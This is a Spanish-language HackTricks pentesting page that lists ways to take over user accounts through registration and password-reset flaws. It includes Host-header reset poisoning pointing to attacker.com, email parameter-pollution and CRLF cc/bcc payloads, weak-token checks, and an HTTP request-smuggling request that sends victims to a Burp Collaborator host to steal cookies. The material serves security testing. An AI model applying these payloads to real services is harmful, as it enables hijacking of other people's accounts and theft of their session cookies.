11 KiB
Vulnerabilidades de Registro y Toma de Control
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Toma de Control de Registro
Registro Duplicado
- Intenta generar un usuario existente
- Verifica variando el correo electrónico:
- mayúsculas
- +1@
- agrega algo en el correo electrónico
- caracteres especiales en el nombre del correo electrónico (%00, %09, %20)
- Pon caracteres negros después del correo electrónico:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeración de Usuario
Verifica si puedes averiguar cuándo se ha registrado un usuario dentro de la aplicación.
Política de Contraseña
Al crear un usuario, verifica la política de contraseñas (verifica si se pueden usar contraseñas débiles).
En ese caso, puedes intentar fuerza bruta de credenciales.
Inyección SQL
Verifica esta página para aprender cómo intentar tomar el control de cuentas o extraer información a través de Inyecciones SQL en formularios de registro.
Toma de Control de Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Vulnerabilidades de SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Cambio de Correo Electrónico
Cuando te registras, intenta cambiar el correo electrónico y verifica si este cambio se valida correctamente o si se puede cambiar a correos electrónicos arbitrarios.
Más Verificaciones
- Verifica si puedes usar correos electrónicos desechables
- Contraseña larga (>200) conduce a DoS
- Verifica los límites de velocidad en la creación de cuentas
- Usa username@burp_collab.net y analiza el callback
Toma de Control de Restablecimiento de Contraseña
Fuga de Token de Restablecimiento de Contraseña a través del Referente
- Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
- Haz clic en el enlace de restablecimiento de contraseña
- No cambies la contraseña
- Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
- Intercepta la solicitud en el proxy de Burp Suite
- Verifica si el encabezado de referencia está filtrando el token de restablecimiento de contraseña.
Envenenamiento de Restablecimiento de Contraseña
- Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
- Agrega o edita los siguientes encabezados en Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Reenvía la solicitud con el encabezado modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Busca una URL de restablecimiento de contraseña basada en el encabezado de host como:
https://attacker.com/reset-password.php?token=TOKEN
Restablecimiento de Contraseña a través del Parámetro de Correo Electrónico
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR en Parámetros de API
- El atacante debe iniciar sesión con su cuenta y acceder a la función de Cambio de contraseña.
- Inicie Burp Suite e intercepte la solicitud.
- Envíela a la pestaña de repetición y edite los parámetros: ID de usuario/correo electrónico
powershell POST /api/changepass [...] ("form": {"email":"victima@correo.com","password":"contraseñasegura"})
Token de Restablecimiento de Contraseña Débil
El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.
Trate de determinar si el token expira o si siempre es el mismo, en algunos casos el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables pueden ser utilizadas por el algoritmo.
- Marca de tiempo
- ID de usuario
- Correo electrónico del usuario
- Nombre y apellido
- Fecha de nacimiento
- Criptografía
- Solo números
- Secuencia de token pequeña (caracteres entre [A-Z,a-z,0-9])
- Reutilización de token
- Fecha de vencimiento del token
Fuga de Token de Restablecimiento de Contraseña
- Desencadene una solicitud de restablecimiento de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@correo.com
- Inspeccione la respuesta del servidor y busque
resetToken
- Luego use el token en una URL como
https://ejemplo.com/v3/user/password/reset?resetToken=[EL_TOKEN_DE_RESTABLECIMIENTO]&email=[EL_CORREO]
Restablecimiento de Contraseña a través de Colisión de Nombre de Usuario
- Regístrese en el sistema con un nombre de usuario idéntico al nombre de usuario de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo:
"admin "
- Solicite un restablecimiento de contraseña con su nombre de usuario malicioso.
- Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
- Conéctese a la cuenta de la víctima con la nueva contraseña.
La plataforma CTFd era vulnerable a este ataque.
Ver: CVE-2020-7245
Toma de Control de Cuenta a través de Cross Site Scripting
- Encuentre un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal:
*.dominio.com
- Filtrar la cookie de sesión actual
- Autenticarse como el usuario utilizando la cookie
Toma de Control de Cuenta a través de HTTP Request Smuggling
1. Use smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Cree una solicitud que sobrescriba el POST / HTTP/1.1
con los siguientes datos:
GET http://algo.burpcollaborator.net HTTP/1.1 X:
con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies
3. La solicitud final podría verse así
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Reportes de Hackerone que explotan este error
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Toma de cuenta a través de CSRF
- Cree un payload para CSRF, por ejemplo: "formulario HTML con envío automático para cambio de contraseña"
- Envíe el payload
Toma de cuenta a través de JWT
El token web JSON podría ser utilizado para autenticar a un usuario.
- Edite el JWT con otro ID de usuario / correo electrónico
- Verifique la firma JWT débil
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.